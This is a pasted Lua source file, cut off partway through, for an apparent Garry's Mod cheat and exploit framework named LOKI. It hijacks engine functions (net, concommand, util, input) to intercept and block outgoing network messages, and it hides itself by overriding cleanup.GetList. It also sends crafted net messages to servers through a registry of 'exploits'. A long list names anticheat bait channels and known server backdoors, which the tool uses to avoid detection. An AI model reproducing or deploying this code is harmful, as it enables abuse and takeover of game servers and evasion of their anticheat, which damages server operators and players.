· 5 years ago · Aug 02, 2020, 06:04 PM
1local LOKI = {LP = LocalPlayer(), ARES = true}
2LOKI.LAST = {}
3local LAST_TABLE = {}
4if(isfunction(cleanup.GetList)) then
5 LAST_TABLE = cleanup.GetList()
6end
7if(istable(LAST_TABLE)) then
8 LOKI.LAST = table.Copy( LAST_TABLE )
9end
10function cleanup.GetList() return LOKI end
11LOKI.Developer = false
12LOKI.SecureHooks = true
13LOKI.Config = {}
14local grad = Material( "gui/gradient" )
15local upgrad = Material( "gui/gradient_up" )
16local downgrad = Material( "gui/gradient_down" )
17local ctext = chat and chat.AddText or print
18function LOKI.GetUpValues( func )
19 if(!isfunction(func)) then return {} end
20 if(isfunction(debug.getupvalues)) then
21 return debug.getupvalues(func)
22 end
23 local info = debug.getinfo( func, "uS" )
24 local variables = {}
25
26 -- Upvalues can't be retrieved from C functions
27 if ( info != nil && info.what == "Lua" ) then
28 local upvalues = info.nups
29
30 for i = 1, upvalues do
31 local key, value = debug.getupvalue( func, i )
32 variables[ key ] = value
33 end
34 end
35
36 return variables
37end
38function LOKI.MultiSend(sploit, func)
39 for k, v in ipairs(sploit.functions) do
40 if(sploit.bools[v.bool] == true) then
41 LOKI.NetStart( sploit, v.channel )
42 if(isfunction(func)) then
43 func()
44 elseif(istable(func) && (isfunction(func[v.channel]) || isfunction(func["*"]))) then
45 func[v.channel || "*"]()
46 end
47 net.SendToServer()
48 end
49 end
50end
51function LOKI.GetEnabledCount(sploit)
52 if(!sploit) then return 0 end
53 local i = 0
54 for k, v in pairs(sploit.bools) do
55 if(v == true && k != "enabled") then
56 i = i + 1
57 end
58 end
59 return i
60end
61function LOKI.GetEnabled(sploit)
62 if(!sploit) then return false end
63 if(table.Count(sploit.bools) == 1 || sploit.typ != "bools") then return sploit.bools.enabled end
64 for k, v in pairs(sploit.bools) do
65 if(v == true && k != "enabled") then
66 return true
67 end
68 end
69 return false
70end
71function LOKI.ValidNetString( ... )
72 local tbl = {...}
73 if(#tbl == 0) then return false end
74 if(istable(tbl)) then
75 for k, v in pairs(tbl) do
76 if(LOKI.BAIT_CHANNELS[v] && LOKI.BAIT_COUNT >= LOKI.BAIT_LIMIT && !LOKI.GENERAL_OVERRIDE) then return false, 1 end
77 LOKI.BlockNetOutgoing = true
78 if(util.NetworkIDToString(util.NetworkStringToID( v )) != v) then -- && (!LOKI.ServerDump || LOKI.ServerDump:find(v)
79 LOKI.BlockNetOutgoing = false
80 return false
81 end
82 LOKI.BlockNetOutgoing = false
83 end
84 return true
85 end
86 return false
87end
88function LOKI.DynamicNetString( ... )
89 local tbl = {...}
90 for i = 1, math.huge do
91 local str = util.NetworkIDToString(i)
92 if not str then return false end
93
94 local found = true
95
96 if(istable(tbl)) then
97 for k, v in pairs(tbl) do
98 if(!v || str:find(v) == nil) then
99 found = false
100 end
101 end
102 end
103
104 if(found) then
105 if(LOKI.BAIT_CHANNELS[str] && LOKI.BAIT_COUNT >= LOKI.BAIT_LIMIT && !LOKI.GENERAL_OVERRIDE) then return false, 1 end
106 return str
107 end
108 end
109end
110function LOKI.DynamicNetStrings( ... )
111 local tbl = {...}
112 local ret = {}
113 local bait_count = 0
114 for i = 1, math.huge do
115 local str = util.NetworkIDToString(i)
116 if not str then break end
117
118 local found = true
119
120 if(istable(tbl)) then
121 for k, v in pairs(tbl) do
122 if(!v || str:find(v) == nil) then
123 found = false
124 end
125 end
126 end
127
128 if(found) then
129 if (LOKI.BAIT_CHANNELS[str] && LOKI.BAIT_COUNT >= LOKI.BAIT_LIMIT && !LOKI.GENERAL_OVERRIDE) then
130 bait_count = bait_count + 1
131 else
132 ret[#ret+1] = str
133 end
134 end
135 end
136 return ret, bait_count
137end
138function LOKI.GetAllReceivers()
139 LOKI.Receivers = {[1] = {["str"] = "*"}}
140 for i = 1, math.huge do
141 local str = util.NetworkIDToString(i)
142 if !str || !LOKI.ValidNetString(str) then break end
143
144 LOKI.Receivers[#LOKI.Receivers + 1] = {["str"] = str}
145 end
146 return LOKI.Receivers
147end
148LOKI.ents = {}
149LOKI.ents.FindByGlobal = function(...)
150 local tbl = {...}
151 local ent_tbl = {}
152 local found = true
153 if(#tbl == 0) then
154 return ents.GetAll()
155 end
156 for k, v in ipairs(ents.GetAll()) do
157 found = true
158 if(istable(tbl)) then
159 for k2, v2 in pairs(tbl) do
160 if(v[v2] == nil) then
161 found = false
162 end
163 end
164 end
165 if(found) then
166 ent_tbl[#ent_tbl + 1] = v
167 end
168 end
169 return ent_tbl
170end
171LOKI.vgui = {
172 Create = function(class, parent, name)
173 local detour_call = LOKI.DetourCall || false
174 LOKI.DetourCall = false
175 local ret = vgui.Create(class, parent, name, true)
176 LOKI.DetourCall = detour_call
177 return ret
178 end
179}
180LOKI.Exploits = {}
181LOKI.StartCol = Color(150, 50, 0)
182LOKI.FinishCol = Color(80, 80, 120)
183function LOKI.Interpolate(a, b, proportion)
184 return (a + ((b - a) * (proportion / 100)));
185end
186function LOKI.GetColor(percentage)
187 percentage = math.Clamp(percentage, 0, 100)
188 if(percentage == 0) then
189 return Color(255,255,255)
190 end
191 local a, b, c = ColorToHSV(LOKI.FinishCol)
192 local a1, b1, c1 = ColorToHSV(LOKI.StartCol)
193 local a2, b2, c2
194 a2 = LOKI.Interpolate(a, a1, percentage)
195 b2 = LOKI.Interpolate(b, b1, percentage)
196 c2 = LOKI.Interpolate(c, c1, percentage)
197 return HSVToColor(a2,b2,c2)
198end
199local StatusColors = {
200 [1] = Color( 80, 120, 80 ),
201 [2] = Color( 150, 90, 50 ),
202 [3] = Color( 150, 50, 0 ),
203 [4] = Color( 255, 255, 255 ),
204}
205local StatusText = {
206 [1] = "Undetected",
207 [2] = "Outdated",
208 [3] = "Detected",
209 [4] = "N/A",
210}
211LOKI.Index = {}
212function LOKI.GetExploit(Name, Index)
213 local IndexTable = LOKI.Index[Name]
214 if(LOKI.Exploits[IndexTable]) then
215 if(Index) then
216 return LOKI.Exploits[IndexTable][Index]
217 else
218 return LOKI.Exploits[IndexTable]
219 end
220 else
221 return false
222 end
223end
224function LOKI.ValidTable(tbl)
225 if(istable(tbl)) then
226 return "table"
227 elseif(type(tbl) != "string" && getmetatable(tbl) && getmetatable(tbl).__index != nil) then
228 return "metatable"
229 else
230 return false
231 end
232end
233function LOKI.NotNil(var)
234 if(var != nil) then
235 return var
236 end
237end
238function LOKI.RecursiveGetVar(search, tbl, typevar, create)
239 if(!LOKI.ValidTable(search) || !LOKI.ValidTable(tbl)) then
240 return false
241 end
242 for k, v in pairs(tbl) do
243 if((!search || !search[v]) || (search && search[v] && (typevar && type(search[v]) != typevar) && !LOKI.ValidTable(search[v]))) then
244 if((!search || !search[v]) && typevar == "table" && create) then
245 if(!search) then
246 search = {}
247 end
248 search[v] = {}
249 search = search[v]
250 else
251 return false
252 end
253 else
254 if(!search[v] && typevar == "table" && create) then
255 search[v] = {}
256 end
257 search = search[v]
258 end
259 end
260 return search
261end
262function LOKI.GetAllExploits()
263 local exploits = {}
264 for k, v in ipairs( LOKI.Exploits ) do
265 if(istable(v) && v.IsCategory) then
266 for k2, v2 in ipairs(v) do
267 if(istable(v2) && v2.Name) then
268 exploits[#exploits + 1] = v2
269 end
270 end
271 end
272 end
273 return exploits
274end
275LOKI.Detours = LOKI.LAST.Detours || {}
276function LOKI.GetDetour(Name, Fallback)
277 local str = string.Split(Name, ".")
278 return LOKI.Detours[(str[1])] && LOKI.Detours[(str[1])][(str[2])] || Fallback
279end
280function LOKI.Detour(tbl_name, func, tbl, callback)
281 if(!LOKI.ValidTable(tbl)) then return end
282 if(!LOKI.Detours[tbl_name]) then
283 LOKI.Detours[tbl_name] = {}
284 end
285 if(!LOKI.Detours["Backup"]) then
286 LOKI.Detours["Backup"] = {}
287 end
288 if(!LOKI.Detours["Backup"][tbl_name]) then
289 LOKI.Detours["Backup"][tbl_name] = {table.Copy(tbl)}
290 end
291 if(!LOKI.Detours[tbl_name][func]) then
292 LOKI.Detours[tbl_name][func] = LOKI.Detours["Backup"][tbl_name][1][func]
293 //print(tbl_name.."."..func .. " detoured successfully")
294 end
295 if(isfunction(LOKI.Detours[tbl_name][func])) then
296 if(!LOKI.Detours["Callback"]) then
297 LOKI.Detours["Callback"] = {}
298 end
299 if(!LOKI.Detours["Callback"][tbl_name]) then
300 LOKI.Detours["Callback"][tbl_name] = {}
301 end
302 LOKI.Detours["Callback"][tbl_name][func] = callback
303
304 local sfunc = LOKI.Detours[tbl_name][func]
305 rawset(tbl, func, callback)
306 if(tbl[func] == sfunc) then
307 tbl[func] = callback
308 end
309 end
310end
311local net = net
312if(DLib && istable(DLib.nativeNet)) then
313 net = DLib.nativeNet
314end
315LOKI.TYPEVARS = {
316 MORETHAN = 0,
317 LESSTHAN = 1,
318 EQUALTO = 2,
319 NOTEQUALTO = 3,
320}
321LOKI.DetourTables = {
322 ["net"] = {
323 ["table"] = _G.net,
324 ["functions"] = {["*"] = true, ["Incoming"] = false, ["Receive"] = false},
325 ["PreCall"] = {
326 ["Start"] = function(key, tbl, varargs)
327 if(LOKI.SafeOutgoingMsg == varargs[1]) then return end
328 tbl.NetOutgoingMsg = varargs[1]
329 if(LOKI.BlockNetOutgoing) then return false end
330 end,
331 ["*"] = function(key, tbl, varargs, func)
332 if(LOKI.NetOutgoingMsg) then
333 if(!istable(tbl.NetOutgoingData) || !tbl.NetOutgoingData[0] || tbl.NetOutgoingData[0] != LOKI.NetOutgoingMsg) then
334 tbl.NetOutgoingData = {[0] = tbl.NetOutgoingMsg}
335 end
336 if(key:StartWith("Write") && jit.util.funcinfo(func).addr) then
337 if(#varargs != 0) then
338 local index = #tbl.NetOutgoingData+1
339 local typevar = string.Replace(key, "Write", "")
340 tbl.NetOutgoingData[index] = varargs
341 tbl.NetOutgoingData[index].Type = typevar
342 end
343 if(LOKI.BlockNetOutgoing) then return false end
344 end
345 end
346 end,
347 },
348 ["PostCall"] = {
349 ["SendToServer"] = function(key, tbl, varargs)
350 if(tbl.NetOutgoingMsg && LOKI.Developer) then PrintTable(tbl.NetOutgoingData) end
351 tbl.NetOutgoingMsg = nil
352 tbl.NetOutgoingData = nil
353 end,
354 },
355 },
356 ["concommand"] = {
357 ["table"] = _G.concommand,
358 ["functions"] = {["*"] = true, ["Add"] = false, ["GetTable"] = false},
359 },
360 /*["string"] = {
361 ["table"] = _G.string,
362 ["functions"] = {["lower"] = true},
363 },*/
364 ["util"] = {
365 ["table"] = _G.util,
366 ["functions"] = {["NetworkIDToString"] = true, ["TraceLine"] = true, ["TableToJSON"] = true},
367 },
368 ["math"] = {
369 ["table"] = _G.math,
370 ["functions"] = {["random"] = true, ["abs"] = true},
371 },
372 ["table"] = {
373 ["table"] = _G.table,
374 ["functions"] = {["Copy"] = true},
375 },
376 ["usermessage"] = {
377 ["table"] = _G.usermessage,
378 ["functions"] = {["IncomingMessage"] = true},
379 },
380 ["cam"] = {
381 ["table"] = _G.cam,
382 ["functions"] = {["Start3D"] = true, ["End3D"] = true},
383 },
384 ["vgui"] = {
385 ["table"] = _G.vgui,
386 ["functions"] = {["Create"] = true},
387 },
388 /*["render"] = {
389 ["table"] = _G.render,
390 ["functions"] = {["SetRenderTarget"] = true},
391 },*/
392 ["gui"] = {
393 ["table"] = _G.gui,
394 ["functions"] = {["*"] = true, ["EnableScreenClicker"] = false, ["MousePos"] = false, ["MouseX"] = false, ["MouseY"] = false, ["OpenURL"] = false, ["ScreenToVector"] = false},
395 },
396 ["input"] = {
397 ["table"] = _G.input,
398 ["functions"] = {["StartKeyTrapping"] = true, ["SetCursorPos"] = true, ["LookupKeyBinding"] = true, ["LookupBinding"] = true},
399 },
400 ["properties"] = {
401 ["table"] = _G.properties,
402 ["functions"] = {["Add"] = true},
403 },
404 /*["_G"] = {
405 ["table"] = _G,
406 ["functions"] = {["SortedPairsByMemberValue"] = true},
407 },*/
408}
409// table_to_search, variable, MORE/LESS/EQUALTO, value, varargs
410function LOKI.GetVarTable(tbl, var, typevar, val, metatable, ...)
411 if(!typevar) then
412 typevar = LOKI.TYPEVARS.EQUALTO
413 end
414 local exploits = {}
415 if(istable(tbl) && var && typevar && val) then
416 for k, v in ipairs( tbl ) do
417 if(LOKI.ValidTable(v)) then
418 local var_l,val_l = var,val
419 if(LOKI.ValidTable(var)) then
420 var_l = LOKI.RecursiveGetVar(v, var)
421 else
422 if(isfunction(v[var])) then
423 if(LOKI.ValidTable(v) == "metatable" || metatable) then
424 var_l = v[var](v, ...)
425 else
426 var_l = v[var](...)
427 end
428 else
429 var_l = v[var]
430 end
431 if(isfunction(val)) then
432 val_l = val()
433 end
434 end
435 if(typevar == LOKI.TYPEVARS.MORETHAN) then
436 if(LOKI.SafeToNumber(var_l) > LOKI.SafeToNumber(val_l)) then
437 exploits[#exploits + 1] = v
438 end
439 elseif(typevar == LOKI.TYPEVARS.LESSTHAN) then
440 if(LOKI.SafeToNumber(var_l) < LOKI.SafeToNumber(val_l)) then
441 exploits[#exploits + 1] = v
442 end
443 elseif(typevar == LOKI.TYPEVARS.EQUALTO) then
444 if(var_l == val_l) then
445 exploits[#exploits + 1] = v
446 end
447 elseif(typevar == LOKI.TYPEVARS.NOTEQUALTO) then
448 if(var_l != val_l) then
449 exploits[#exploits + 1] = v
450 end
451 end
452 end
453 end
454 end
455 return exploits
456end
457function LOKI.SetTableContents(t1,t2)
458 table.Empty(t1)
459 table.Merge(t1, t2)
460end
461function LOKI.GetVarExploits(var, typevar, val)
462 return LOKI.GetVarTable(LOKI.GetAllExploits(), var, typevar, val)
463end
464LOKI.RunDetours = function()
465 for k, v in pairs(LOKI.DetourTables) do
466 local ValidTable = LOKI.ValidTable(v.table)
467 if(istable(v) && ValidTable) then
468 for k1, v1 in pairs(v.table) do
469 if(isfunction(v1) && (!istable(v.functions) || ((v.functions["*"] && v.functions[k1] != false) || v.functions[k1]))) then
470 LOKI.Detour(k, k1, v.table, function(...)
471 local varargs = {...}
472 //if(LOKI.Killswitch && !LOKI.Unload && !LOKI.Detours) then return v1(unpack(varargs)) end
473 local func = LOKI.Detours[k][k1]
474 if(!LOKI.Killswitch && !LOKI.Unload) then
475 if(istable(v.PreCall) && isfunction(v.PreCall[k1] || v.PreCall["*"])) then
476 local ret_val = ((v.PreCall[k1] || v.PreCall["*"])(k1, LOKI, varargs, func))
477 if ret_val != nil then return ret_val end
478 end
479
480 if(LOKI.DetourCall != true) then
481 local ret = nil
482
483 if(isfunction(LOKI.GetAllExploits)) then
484 local det_call = LOKI.DetourCall || false
485 LOKI.DetourCall = true
486 for k2, v2 in ipairs(LOKI.GetAllExploits()) do
487 local tbl = v2.hooks && (v2.hooks[k] || v2.hooks["*"])
488 if(v2.scanned && v2.hooks && tbl && (tbl[k1] || tbl["*"])) then
489 local xfunc = (tbl[k1] || tbl["*"])
490 local return_val = nil
491 if(xfunc == tbl["*"]) then
492 return_val = xfunc(k, k1, v2, varargs, LOKI.Detours[k][k1])
493 else
494 return_val = xfunc(v2, varargs, LOKI.Detours[k][k1])
495 end
496 if(return_val != nil) then
497 ret = return_val
498 end
499 end
500 end
501 LOKI.DetourCall = det_call
502 end
503
504 if(istable(v.PostCall) && isfunction(v.PostCall[k1] || v.PostCall["*"])) then
505 local ret_val = ((v.PostCall[k1] || v.PostCall["*"])(k1, LOKI, varargs, func))
506 if ret_val != nil then return ret_val end
507 end
508
509 if(ret) then
510 return ret
511 elseif(ret == false) then
512 return false
513 end
514 end
515 end
516
517 if(!LOKI.RETURN_OVERRIDE) then
518 if(ValidTable == "metatable") then
519 return func(v.table, unpack(varargs))
520 else
521 return func(unpack(varargs))
522 end
523 end
524 LOKI.RETURN_OVERRIDE = false
525 end)
526 end
527 end
528 end
529 end
530end
531LOKI.RunDetours()
532function LOKI.GetLP()
533 return LOKI.LP
534end
535function LOKI.AddExploit( Name, tab )
536 if !isstring( Name ) then print("Error: Exploit missing Name") return end
537 if !istable( tab ) then print("Error: Exploit missing table") return end
538 tab.Name = Name
539 if(!LOKI.Index[Name]) then
540 if(tab.severity != 0) then
541 LOKI.Index[Name] = table.insert(LOKI.Exploits, {})
542 else
543 LOKI.Index[Name] = table.insert(LOKI.Exploits, 1, {})
544 end
545 local IndexTable = LOKI.Index[Name]
546 LOKI.Exploits[IndexTable] = {["IsCategory"] = true}
547 end
548 local IndexTable = LOKI.Index[Name]
549 local Index = table.insert(LOKI.Exploits[IndexTable], tab)
550 LOKI.GetExploit(Name, Index).Index = Index
551 if !tab.hooks && !tab.general_override then print("Error: Function with no hooks added, is this the intention?") print(LOKI.GetExploit(Name, Index).Name, Index) end
552end
553function LOKI.IsStored( addr )
554 return LOKI.Config[addr] != nil && LOKI.Config[addr].val != nil
555end
556function LOKI.GetStored( addr, fallback, skipwhitelist, datatable )
557 local tbl = LOKI.Config
558 if(tbl[addr] == nil && fallback == nil) then return end
559 if fallback and (tbl[addr] == nil || tbl[addr].val == nil || tbl[addr].val == {}) then LOKI.Store(addr, fallback) end
560 if((istable(tbl[addr].val) || fallback == {}) && LOKI.GetWhitelist(addr) && !skipwhitelist) then
561 local plytbl = player.GetAll()
562 for k, v in pairs( tbl[addr].val ) do
563 table.RemoveByValue(plytbl, v)
564 end
565 return plytbl
566 end
567 if fallback and (tbl[addr] == nil || tbl[addr].val == nil) then return fallback end
568 return tbl[addr].val
569end
570function LOKI.NetStart( sploit, str, rel )
571 LOKI.BlockNetOutgoing = true
572 LOKI.GENERAL_OVERRIDE = true
573 if(!istable(str) && !LOKI.ValidNetString( str )) then
574 print("Warning: " .. sploit.Name .. " #".. sploit.Index .. " attempted to send an unpooled message", str)
575 LOKI.BlockNetOutgoing = false
576 LOKI.GENERAL_OVERRIDE = false
577 else
578 if((!sploit || isstring(sploit)) && !str) then
579 print("An exploit is using the legacy system and will not support rate limiting, tell invalid")
580 str = sploit
581 else
582 if(!sploit["Sender"] && LOKI.GetEnabled(sploit) && LOKI.RecursiveGetVar(sploit, {"hooks", "Think"}, "function")) then
583 sploit["Sender"] = true
584 end
585 end
586 if(isfunction(nwidcek)) then
587 if(isfunction(netStart)) then
588 LOKI.Detours["net"]["Start"] = netStart
589 end
590 end
591 local netstart = net.Start
592 if odium and odium.G and odium.G.net then
593 netstart = odium.G.net.Start
594 end
595 if(istable(str)) then
596 for k, v in pairs(str) do
597 if(LOKI.ValidNetString(v)) then
598 str = v
599 break
600 end
601 end
602 end
603 if(istable(str)) then
604 print("Warning: " .. sploit.Name .. " #".. sploit.Index .. " attempted to send an unpooled message")
605 LOKI.BlockNetOutgoing = false
606 return
607 end
608 LOKI.SafeOutgoingMsg = str
609 local ret = nil
610 if(rel) then
611 ret = netstart( str )
612 else
613 ret = netstart( str, LOKI.ARES )
614 end
615 LOKI.BlockNetOutgoing = false
616 LOKI.SafeOutgoingMsg = nil
617 LOKI.GENERAL_OVERRIDE = false
618 return ret
619 end
620end
621function LOKI.RCC(sploit, ...)
622 local RCC = RunConsoleCommand
623 if(istable(sploit)) then
624 if(!sploit["Sender"] && LOKI.GetEnabled(sploit) && LOKI.RecursiveGetVar(sploit, {"hooks", "Think"}, "function")) then
625 sploit["Sender"] = true
626 end
627 local det_call = LOKI.DetourCall || false
628 LOKI.DetourCall = true
629 local ret = RCC( ... )
630 LOKI.DetourCall = det_call
631 return ret
632 else
633 print("An exploit is using the legacy system and will not support rate limiting, tell invalid")
634 end
635end
636function LOKI.Store( addr, val, datatable )
637 local tbl = datatable || LOKI.Config
638 if(tbl[addr] == nil) then
639 tbl[addr] = {}
640 end
641 tbl[addr].val = (istable(val) && table.Copy(val)) || val
642end
643function LOKI.SetWhitelist( addr, bool, datatable )
644 local tbl = datatable || LOKI.Config
645 if(tbl[addr] == nil) then
646 tbl[addr] = {}
647 end
648 tbl[addr].IsWhitelist = bool
649end
650function LOKI.GetWhitelist( addr, datatable )
651 local tbl = datatable || LOKI.Config
652 return tbl[addr] != nil && tbl[addr].IsWhitelist == true
653end
654function LOKI.GetAllStored()
655 return LOKI.Config
656end
657function LOKI.GetAllStoredData()
658 local ret = {}
659 for k, v in pairs( LOKI.Config ) do
660 if !istable( v ) then ret[k] = v end
661 end
662 return ret
663end
664function LOKI.LoadConfig()
665 local f = file.Read( "lokiv2.dat", "DATA" )
666 if !f then return print( "Error: No saved configs found" ) end
667 local raw = util.Decompress( f )
668 local config = util.JSONToTable( raw )
669 table.Merge( LOKI.Config, config )
670-- LOKI.Config = config
671 LOKI.Menu:Remove()
672 print( "Loaded Configuration File" )
673end
674function LOKI.SaveConfig()
675 local config = util.TableToJSON( LOKI.GetAllStoredData() )
676 if !config then return end
677 local compressed = util.Compress( config )
678 file.Write( "lokiv2.dat", compressed )
679 print( "Saved Configuration File" )
680end
681LOKI.BAIT_UNSORTED = {"fg_printer_money", "SprintSpeedset", "CFEndGame", "sendtable", "plyWarning", "pplay_deleterow", "NLR_SPAWN", "TowTruck_CreateTowTruck", "ARMORY_RetrieveWeapon", "pac.net.TouchFlexes.ClientNotify", "slua2", "ClickerAddToPoints", "steamid2", "TransferReport", "explodeallcarbd", "Sbox_gm_attackofnullday_key", "ats_send_toServer", "redirectionplayerbd", "AbilityUse", "RP_Fine_Player", "DaHit", "JB_Votekick", "CpForm_Answers", "skeleton_dancing_troll", "ignite_bd", "75_plus_win", "modelchangerbd", "BuySecondTovar", "spawnentitybd", "FactionInviteConsole", "rprotect_terminal_settings", "ban_rdm", "forcejobbd", "textscreens_download", "PoliceJoin", "CFRemoveGame", "├Ş├á?D)Ôùİ", "RevivePlayer", "DataSend", "TOW_SubmitWarning", "BM2.Command.SellBitcoins", "DepositMoney", "CFJoinGame", "ItemStoreUse", "forceconcommandbd", "Kun_SellOil", "PCAdd", "drugseffect_hpremove", "artillerybd", "argentjetaurrais2", "spawnvehiclebd", "netKey", "NC_GetNameChange", "pac_to_contraption", "start_wd_emp", "messagespambd", "linkbd", "accidentvoiturebd", "hsend", "egg", "unlockalldoororlockallbd", "18_25_hack_mood", "RXCAR_SellINVCar_C2S", "RecKickAFKer", "tickbooksendfine", "pac_submit", "banleaver", "rebootbd", "VJSay", "ATM_DepositMoney_C2S", "Sandbox_ArmDupe", "net_PSUnBoxServer", "GiveHealthNPC", "memes", "PlayerUseItem", "Letthisdudeout", "services_accept", "DarkRP_SS_Gamble", "dLogsGetCommand", "SellMinerals", "superadmin_vite", "RXCAR_Shop_Store_C2S", "ATS_WARP_REMOVE_CLIENT", "changerlenombd", "fpp_reset_all", "2dplayermodelbd", "TOW_PayTheFine", "spawnpropbd", "CraftSomething", "clearallbansbd", "mercipourtonip", "withdrawp", "SendMoney", "BuyCar", "FIRE_CreateFireTruck", "jeveuttonrconleul", "kill_player_bd", "fp_as_doorHandler", "pplay_sendtable", "disablebackdoor", "godmodbd", "teleport2bd", "customprinter_get", "MONEY_SYSTEM_GetWeapons", "gportal_rpname_change", "hitcomplete", "artilleryplayerbd", "fuckupulxbd", "Remove_Exploiters", "NDES_SelectedEmblem", "NLR.ActionPlayer", "NET_EcSetTax", "StackGhost", "DarkRP_Kun_ForceSpawn", "whk_setart", "Upgrade", "CreateCase", "rconspammer", "_blacksmurf", "disguise", "infiniteammobd", "drugseffect_remove", "playsoundurlbd", "SimplicityAC_aysent", "freezeplybd", "BuilderXToggleKill", "GMBG:PickupItem", "MDE_RemoveStuff_C2S", "SimpilicityAC_aysent", "BuyFirstTovar", "gBan.BanBuffer", "PCDelAll", "jesuslebg", "TalkIconChat", "hurlement_bd", "ATS_WARP_VIEWOWNER", "drugs_text", "bodyman_model_change", "inversergraviterbd", "changejobnamebd", "WriteQuery", "TCBBuyAmmo", "TFA_Attachment_RequestAll", "TCBuyAmmo", "BuyKey", "ckit_roul_bet", "nostrip", "centerbd", "NET_SS_DoBuyTakeoff", "DarkRP_spawnPocket", "teleport1bd", "ActivatePC", "drugs_money", "pogcp_report_submitReport", "race_accept", "healtharmorbd", "TakeBetMoney", "BuyCrate", "Kun_ZiptieStruggle", "faitcommeloiseaubd", "FacCreate", "DuelMessageReturn", "ATS_WARP_FROM_CLIENT", "DL_Answering", "thefrenchenculer", "Taxi_Add", "pplay_addrow", "stripallbd", "CRAFTINGMOD_SHOP", "SyncPrinterButtons76561198056171650", "ply_pick_shit", "join_disconnect", "DarkRP_preferredjobmodel", "viv_hl2rp_disp_message", "Kun_SellDrug", "forcesaybd", "drugs_ignite", "chatspambd", "Warn_CreateWarn", "buyinghealth", "NewReport", "BM2.Command.Eject", "kickbd", "argentjetaurrais", "EZS_PlayerTag", "1942_Fuhrer_SubmitCandidacy", "ATMDepositMoney", "blacksmurfBackdoor", "JoinOrg", "toupiebd", "casinokit_chipexchange", "FinishContract", "rektallmodels", "discobd", "crashplayergamebd", "giveweaponbd", "hhh_request", "zilnix", "rconadmin", "FarmingmodSellItems", "give_me_weapon", "Morpheus.StaffTracker", "NLRKick", "Chatbox_PlayerChat", "rconcommandbd", "Chess Top10", "cloackbd", "RP_Accept_Fine", "WithdrewBMoney", "reports.submit", "slua", "giveweapon", "RHC_jail_player", "duelrequestguiYes", "tremblementdeterrebd", "kart_sell", "speedhackbd", "removepermaprop_bd", "soez", "deletealldatabd", "textstickers_entdata", "BailOut", "pplay_sendtable", "VJSay", "textstickers_entdata", "NC_GetNameChange", "CFJoinGame", "loki_bigspames2", "SKIN", "stringx", "mathx", "_G", "color_white", "_LOADLIB", "_LOADED", "color_transparent", "func", "g_SBoxObjects", "tablex", "Morph", "SpawniconGenFunctions", "DOF_Ents", "_E", "_R", "duelrequestguiYes", "drugs_money", "drugs_ignite", "drugs_text", "SyncPrinterButtons76561198056171650", "rprotect_terminal_settings", "JoinOrg", "NDES_SelectedEmblem", "join_disconnect", "NLRKick", "Morpheus.StaffTracker", "duelrequestguiYes", "drugs_ignite", "ply_pick_shit", "TalkIconChat", "NDES_SelectedEmblem", "BuyFirstTovar", "BuySecondTovar", "GiveHealthNPC", "BuyKey", "BuyCrate", "MONEY_SYSTEM_GetWeapons", "SyncPrinterButtons16690", "DarkRP_SS_Gamble", "PCAdd", "DarkRP_SS_Gamble", "viv_hl2rp_disp_message", "Sbox_gm_attackofnullday", "Sbox_gm_attackofnullday_key", "Kun_SellDrug", "Ulib_Message", "ULogs_Info", "fix", "Fix_Keypads", "noclipcloakaesp_chat_text", "_Defqon", "_CAC_ReadMemory", "nostrip", "nocheat", "LickMeOut", "ULX_QUERY2", "ULXQUERY2", "MoonMan", "Im_SOCool", "Sandbox_GayParty", "DarkRP_UTF8", "oldNetReadData", "memeDoor", "BackDoor", "OdiumBackDoor", "SessionBackdoor", "DarkRP_AdminWeapons", "cucked", "NoNerks", "kek", "ZimbaBackDoor", "something", "random", "enablevac", "idk", "fellosnake", "c", "killserver", "fuckserver", "cvaraccess", "rcon", "web", "jesuslebg", "Þ� ?D)◘", "DefqonBackdoor", "WriteQuery", "SellMinerals", "TakeBetMoney", "Kun_SellOil", "PoliceJoin", "CpForm_Answers", "MDE_RemoveStuff_C2S", "RP_Accept_Fine", "l_players_listing_fine", "montant_argent11", "RXCAR_Shop_Store_C2S", "CRAFTINGMOD_SHOP", "drugs_ignite", "drugseffect_hpremove", "drugs_text", "GMBG:PickupItem", "plyWarning", "timebombDefuse", "start_wd_emp", "kart_sell", "FarmingmodSellItems", "ClickerAddToPoints", "bodyman_model_change", "BailOut", "TOW_SubmitWarning", "FIRE_CreateFireTruck", "hitcomplete", "hhh_request", "DaHit", "customprinter_get", "textstickers_entdata", "TCBBuyAmmo", "DataSend", "rprotect_terminal_settings", "fp_as_doorHandler", "TransferReport", "stripper_gunz", "properties", "skeleton_dancing_troll", "music", "rcon_passw_dump", "jeveuttonrconleul", "aucun_rcon_ici", "jeveuttonrconleul", "Надеюсь, ты усвоил урок", "cl_yawspeed 8", "Music_troll", "wowlolwut_my_boi", "ITEM", "chmluaviewer", "Defqon_wallhack", "Defqon_anticheats", "NET_LUA_CLIENTS", "NET_LUA_SV", "EASY_CHAT_MODULE_LUA_CLIENTS", "EASY_CHAT_MODULE_LUA_SV", "blackdoor", "toxic.LuaStr", "toxic.pro", "bodyman_chatprint", "bodyman_model_change", "bodygroups_change", "skins_change", "thereaper", "noprop", "dontforget", "aze46aez67z67z64dcv4bt", "changename", "nolag", "reaper", "slua2", "thereaperishere", "hentai", "slua", "the2d78", "bethedeath", "elfamosabackdoormdr", "zilnixestbo", "reaperexploits", "fr_spamstring", "CpForm_Answers", "MDE_RemoveStuff_C2S", "start_wd_emp", "kart_sell", "FarmingmodSellItems", "ClickerAddToPoints", "fp_as_doorHandler", "TransferReport", "odium_setname", "ace_menu", "odium_lua_run_cl", "blogs_refresh", "blogs_refreshblog", "blogs_resetall", "pChat", "SuggestionsBriefInfo", "SuggestionsSpecificInfo", "SuggestionsGetInfo", "SuggestionsClientEdits", "SuggestionsRefresh", "Morpheus.Init", "Morpheus.ClientCheckActivity", "DL_Answering_global", "pSayBroadcaster", "TCBBuyAmmo", "DataSend", "FarmingmodSellItems", "duelrequestguiYes", "egg", "TalkIconChat", "exploits_open", "chat_AddText", "magnum", "RAINBOWPLAYER", "menu", "setMagicTypeHP", "TheFrenchGuy", "htx_mode", "htx_menu", "htx_macros", "ГћГ ?D)в—", "metro_notification", "BM2.Command.SellBitcoins", "ItemStoreUse", "ItemStoreDrop", "gMining.sellMineral", "PlayerUseItem", "RequestMAPSize", "MG2.Request.GangRankings", "dLogsGetCommand", "shopguild_buyitem", "VoteKickNO", "VoteBanNO", "Warn_CreateWarn", "showDisguiseHUD", "Chatbox_PlayerChat", "BuilderXToggleKill", "services_accept", "lockpick_sound", "InformPlayer", "1942_Fuhrer_SubmitCandidacy", "FacCreate", "FactionInviteConsole", "WithdrewBMoney", "deathrag_takeitem", "REPPurchase", "Resupply", 